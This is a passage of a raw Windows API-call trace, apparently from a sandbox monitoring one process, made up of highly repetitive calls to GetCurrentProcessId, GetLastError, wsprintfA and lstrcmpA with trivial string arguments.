0xb44 [0031.647] GetLastError () returned 0x57 [0031.647] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1AE6P") returned 5 [0031.647] SetLastError (dwErrCode=0x57) [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] lstrlenA (lpString="just string") returned 11 [0031.647] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.647] GetLastError () returned 0x57 [0031.647] lstrlenA (lpString="just string") returned 11 [0031.647] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.647] GetLastError () returned 0x57 [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] lstrlenA (lpString="just string") returned 11 [0031.647] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.647] GetLastError () returned 0x57 [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] lstrlenA (lpString="just string") returned 11 [0031.647] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.647] GetLastError () returned 0x57 [0031.647] GetLastError () returned 0x57 [0031.647] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.647] SetLastError (dwErrCode=0x57) [0031.647] GetCurrentProcess () returned 0xffffffff [0031.647] GetLastError () returned 0x57 [0031.647] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1B70P") returned 5 [0031.647] SetLastError (dwErrCode=0x57) [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] GetCurrentProcess () returned 0xffffffff [0031.647] GetLastError () returned 0x57 [0031.647] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1B71P") returned 5 [0031.647] SetLastError (dwErrCode=0x57) [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] GetLastError () returned 0x57 [0031.647] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1B72P") returned 5 [0031.647] SetLastError (dwErrCode=0x57) [0031.647] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] lstrlenA (lpString="just string") returned 11 [0031.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.648] GetLastError () returned 0x57 [0031.648] lstrlenA (lpString="just string") returned 11 [0031.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.648] GetLastError () returned 0x57 [0031.648] GetLastError () returned 0x57 [0031.648] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.648] SetLastError (dwErrCode=0x57) [0031.648] GetCurrentProcess () returned 0xffffffff [0031.648] GetLastError () returned 0x57 [0031.648] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1BB6P") returned 5 [0031.648] SetLastError (dwErrCode=0x57) [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcess () returned 0xffffffff [0031.648] GetLastError () returned 0x57 [0031.648] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1BB7P") returned 5 [0031.648] SetLastError (dwErrCode=0x57) [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetLastError () returned 0x57 [0031.648] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1BB8P") returned 5 [0031.648] SetLastError (dwErrCode=0x57) [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] lstrlenA (lpString="just string") returned 11 [0031.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.648] GetLastError () returned 0x57 [0031.648] GetLastError () returned 0x57 [0031.648] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.648] SetLastError (dwErrCode=0x57) [0031.648] GetCurrentProcess () returned 0xffffffff [0031.648] GetLastError () returned 0x57 [0031.648] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1BCAP") returned 5 [0031.648] SetLastError (dwErrCode=0x57) [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcess () returned 0xffffffff [0031.648] GetLastError () returned 0x57 [0031.648] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1BCBP") returned 5 [0031.648] SetLastError (dwErrCode=0x57) [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetLastError () returned 0x57 [0031.648] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1BCCP") returned 5 [0031.648] SetLastError (dwErrCode=0x57) [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] lstrlenA (lpString="just string") returned 11 [0031.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.648] GetLastError () returned 0x57 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] GetCurrentProcessId () returned 0xb44 [0031.648] lstrlenA (lpString="just string") returned 11 [0031.648] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.649] GetLastError () returned 0x57 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] lstrlenA (lpString="just string") returned 11 [0031.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.649] GetLastError () returned 0x57 [0031.649] lstrlenA (lpString="just string") returned 11 [0031.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.649] GetLastError () returned 0x57 [0031.649] GetLastError () returned 0x57 [0031.649] lstrlenA (lpString="just string") returned 11 [0031.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.649] GetLastError () returned 0x57 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] lstrlenA (lpString="just string") returned 11 [0031.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.649] GetLastError () returned 0x57 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] lstrlenA (lpString="just string") returned 11 [0031.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.649] GetLastError () returned 0x57 [0031.649] GetLastError () returned 0x57 [0031.649] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.649] SetLastError (dwErrCode=0x57) [0031.649] GetCurrentProcess () returned 0xffffffff [0031.649] GetLastError () returned 0x57 [0031.649] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1C7EP") returned 5 [0031.649] SetLastError (dwErrCode=0x57) [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcess () returned 0xffffffff [0031.649] GetLastError () returned 0x57 [0031.649] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1C7FP") returned 5 [0031.649] SetLastError (dwErrCode=0x57) [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetLastError () returned 0x57 [0031.649] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1C80P") returned 5 [0031.649] SetLastError (dwErrCode=0x57) [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] lstrlenA (lpString="just string") returned 11 [0031.649] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.649] GetLastError () returned 0x57 [0031.649] GetLastError () returned 0x57 [0031.649] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.649] SetLastError (dwErrCode=0x57) [0031.649] GetCurrentProcess () returned 0xffffffff [0031.649] GetLastError () returned 0x57 [0031.649] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1C88P") returned 5 [0031.649] SetLastError (dwErrCode=0x57) [0031.649] GetCurrentProcessId () returned 0xb44 [0031.649] GetCurrentProcess () returned 0xffffffff [0031.649] GetLastError () returned 0x57 [0031.649] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1C89P") returned 5 [0031.649] SetLastError (dwErrCode=0x57) [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetLastError () returned 0x57 [0031.650] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1C8AP") returned 5 [0031.650] SetLastError (dwErrCode=0x57) [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] lstrlenA (lpString="just string") returned 11 [0031.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.650] GetLastError () returned 0x57 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] lstrlenA (lpString="just string") returned 11 [0031.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.650] GetLastError () returned 0x57 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] lstrlenA (lpString="just string") returned 11 [0031.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.650] GetLastError () returned 0x57 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] lstrlenA (lpString="just string") returned 11 [0031.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.650] GetLastError () returned 0x57 [0031.650] GetLastError () returned 0x57 [0031.650] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.650] SetLastError (dwErrCode=0x57) [0031.650] GetCurrentProcess () returned 0xffffffff [0031.650] GetLastError () returned 0x57 [0031.650] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1D6EP") returned 5 [0031.650] SetLastError (dwErrCode=0x57) [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcess () returned 0xffffffff [0031.650] GetLastError () returned 0x57 [0031.650] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1D6FP") returned 5 [0031.650] SetLastError (dwErrCode=0x57) [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetLastError () returned 0x57 [0031.650] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1D70P") returned 5 [0031.650] SetLastError (dwErrCode=0x57) [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] lstrlenA (lpString="just string") returned 11 [0031.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.650] GetLastError () returned 0x57 [0031.650] GetCurrentProcess () returned 0xffffffff [0031.650] GetLastError () returned 0x57 [0031.650] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1DABP") returned 5 [0031.650] SetLastError (dwErrCode=0x57) [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetLastError () returned 0x57 [0031.650] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1DACP") returned 5 [0031.650] SetLastError (dwErrCode=0x57) [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] GetCurrentProcessId () returned 0xb44 [0031.650] lstrlenA (lpString="just string") returned 11 [0031.650] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.651] GetLastError () returned 0x57 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] lstrlenA (lpString="just string") returned 11 [0031.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.651] GetLastError () returned 0x57 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] lstrlenA (lpString="just string") returned 11 [0031.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.651] GetLastError () returned 0x57 [0031.651] GetCurrentProcess () returned 0xffffffff [0031.651] GetLastError () returned 0x57 [0031.651] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1DE7P") returned 5 [0031.651] SetLastError (dwErrCode=0x57) [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetLastError () returned 0x57 [0031.651] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1DE8P") returned 5 [0031.651] SetLastError (dwErrCode=0x57) [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] lstrlenA (lpString="just string") returned 11 [0031.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.651] GetLastError () returned 0x57 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] lstrlenA (lpString="just string") returned 11 [0031.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.651] GetLastError () returned 0x57 [0031.651] GetLastError () returned 0x57 [0031.651] GetCurrentProcess () returned 0xffffffff [0031.651] GetLastError () returned 0x57 [0031.651] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1E55P") returned 5 [0031.651] SetLastError (dwErrCode=0x57) [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetLastError () returned 0x57 [0031.651] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1E56P") returned 5 [0031.651] SetLastError (dwErrCode=0x57) [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] lstrlenA (lpString="just string") returned 11 [0031.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.651] GetLastError () returned 0x57 [0031.651] lstrlenA (lpString="just string") returned 11 [0031.651] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.651] GetLastError () returned 0x57 [0031.651] GetLastError () returned 0x57 [0031.651] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.651] SetLastError (dwErrCode=0x57) [0031.651] GetCurrentProcess () returned 0xffffffff [0031.651] GetLastError () returned 0x57 [0031.651] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1E90P") returned 5 [0031.651] SetLastError (dwErrCode=0x57) [0031.651] GetCurrentProcessId () returned 0xb44 [0031.651] GetCurrentProcess () returned 0xffffffff [0031.651] GetLastError () returned 0x57 [0031.651] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1E91P") returned 5 [0031.651] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetLastError () returned 0x57 [0031.652] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1E92P") returned 5 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] lstrlenA (lpString="just string") returned 11 [0031.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.652] GetLastError () returned 0x57 [0031.652] GetCurrentProcess () returned 0xffffffff [0031.652] GetLastError () returned 0x57 [0031.652] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1E9BP") returned 5 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetLastError () returned 0x57 [0031.652] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1E9CP") returned 5 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] lstrlenA (lpString="just string") returned 11 [0031.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.652] GetLastError () returned 0x57 [0031.652] GetLastError () returned 0x57 [0031.652] GetLastError () returned 0x57 [0031.652] GetLastError () returned 0x57 [0031.652] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcess () returned 0xffffffff [0031.652] GetLastError () returned 0x57 [0031.652] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1F08P") returned 5 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcess () returned 0xffffffff [0031.652] GetLastError () returned 0x57 [0031.652] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1F09P") returned 5 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetLastError () returned 0x57 [0031.652] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1F0AP") returned 5 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] lstrlenA (lpString="just string") returned 11 [0031.652] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.652] GetLastError () returned 0x57 [0031.652] GetCurrentProcess () returned 0xffffffff [0031.652] GetLastError () returned 0x57 [0031.652] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1F27P") returned 5 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetLastError () returned 0x57 [0031.652] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1F28P") returned 5 [0031.652] SetLastError (dwErrCode=0x57) [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.652] GetCurrentProcessId () returned 0xb44 [0031.653] lstrlenA (lpString="just string") returned 11 [0031.653] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.653] GetLastError () returned 0x57 [0031.653] GetLastError () returned 0x57 [0031.653] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.653] SetLastError (dwErrCode=0x57) [0031.653] GetCurrentProcess () returned 0xffffffff [0031.653] GetLastError () returned 0x57 [0031.653] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1F4EP") returned 5 [0031.653] SetLastError (dwErrCode=0x57) [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcess () returned 0xffffffff [0031.653] GetLastError () returned 0x57 [0031.653] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1F4FP") returned 5 [0031.653] SetLastError (dwErrCode=0x57) [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetLastError () returned 0x57 [0031.653] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1F50P") returned 5 [0031.653] SetLastError (dwErrCode=0x57) [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] lstrlenA (lpString="just string") returned 11 [0031.653] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.653] GetLastError () returned 0x57 [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] lstrlenA (lpString="just string") returned 11 [0031.653] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.653] GetLastError () returned 0x57 [0031.653] GetLastError () returned 0x57 [0031.653] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.653] SetLastError (dwErrCode=0x57) [0031.653] GetCurrentProcess () returned 0xffffffff [0031.653] GetLastError () returned 0x57 [0031.653] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2002P") returned 5 [0031.653] SetLastError (dwErrCode=0x57) [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcess () returned 0xffffffff [0031.653] GetLastError () returned 0x57 [0031.653] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2003P") returned 5 [0031.653] SetLastError (dwErrCode=0x57) [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetLastError () returned 0x57 [0031.653] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2004P") returned 5 [0031.653] SetLastError (dwErrCode=0x57) [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] GetCurrentProcessId () returned 0xb44 [0031.653] lstrlenA (lpString="just string") returned 11 [0031.653] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.653] GetLastError () returned 0x57 [0031.653] GetLastError () returned 0x57 [0031.653] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.653] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcess () returned 0xffffffff [0031.654] GetLastError () returned 0x57 [0031.654] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="202AP") returned 5 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcess () returned 0xffffffff [0031.654] GetLastError () returned 0x57 [0031.654] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="202BP") returned 5 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetLastError () returned 0x57 [0031.654] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="202CP") returned 5 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] lstrlenA (lpString="just string") returned 11 [0031.654] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.654] GetLastError () returned 0x57 [0031.654] GetLastError () returned 0x57 [0031.654] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcess () returned 0xffffffff [0031.654] GetLastError () returned 0x57 [0031.654] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2070P") returned 5 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcess () returned 0xffffffff [0031.654] GetLastError () returned 0x57 [0031.654] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2071P") returned 5 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetLastError () returned 0x57 [0031.654] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2072P") returned 5 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] lstrlenA (lpString="just string") returned 11 [0031.654] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.654] GetLastError () returned 0x57 [0031.654] GetLastError () returned 0x57 [0031.654] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2090P") returned 5 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] lstrlenA (lpString="just string") returned 11 [0031.654] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.654] GetLastError () returned 0x57 [0031.654] GetLastError () returned 0x57 [0031.654] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="20AEP") returned 5 [0031.654] SetLastError (dwErrCode=0x57) [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] GetCurrentProcessId () returned 0xb44 [0031.654] lstrlenA (lpString="just string") returned 11 [0031.654] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.654] GetLastError () returned 0x57 [0031.655] GetCurrentProcess () returned 0xffffffff [0031.655] GetLastError () returned 0x57 [0031.655] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="20E9P") returned 5 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetLastError () returned 0x57 [0031.655] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="20EAP") returned 5 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] lstrlenA (lpString="just string") returned 11 [0031.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.655] GetLastError () returned 0x57 [0031.655] GetLastError () returned 0x57 [0031.655] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcess () returned 0xffffffff [0031.655] GetLastError () returned 0x57 [0031.655] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="211AP") returned 5 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcess () returned 0xffffffff [0031.655] GetLastError () returned 0x57 [0031.655] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="211BP") returned 5 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetLastError () returned 0x57 [0031.655] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="211CP") returned 5 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] lstrlenA (lpString="just string") returned 11 [0031.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.655] GetLastError () returned 0x57 [0031.655] GetCurrentProcess () returned 0xffffffff [0031.655] GetLastError () returned 0x57 [0031.655] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2125P") returned 5 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetLastError () returned 0x57 [0031.655] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2126P") returned 5 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] lstrlenA (lpString="just string") returned 11 [0031.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.655] GetLastError () returned 0x57 [0031.655] GetLastError () returned 0x57 [0031.655] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="214EP") returned 5 [0031.655] SetLastError (dwErrCode=0x57) [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] GetCurrentProcessId () returned 0xb44 [0031.655] lstrlenA (lpString="just string") returned 11 [0031.655] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.656] GetLastError () returned 0x57 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] lstrlenA (lpString="just string") returned 11 [0031.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.656] GetLastError () returned 0x57 [0031.656] GetLastError () returned 0x57 [0031.656] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcess () returned 0xffffffff [0031.656] GetLastError () returned 0x57 [0031.656] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="21A6P") returned 5 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcess () returned 0xffffffff [0031.656] GetLastError () returned 0x57 [0031.656] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="21A7P") returned 5 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetLastError () returned 0x57 [0031.656] 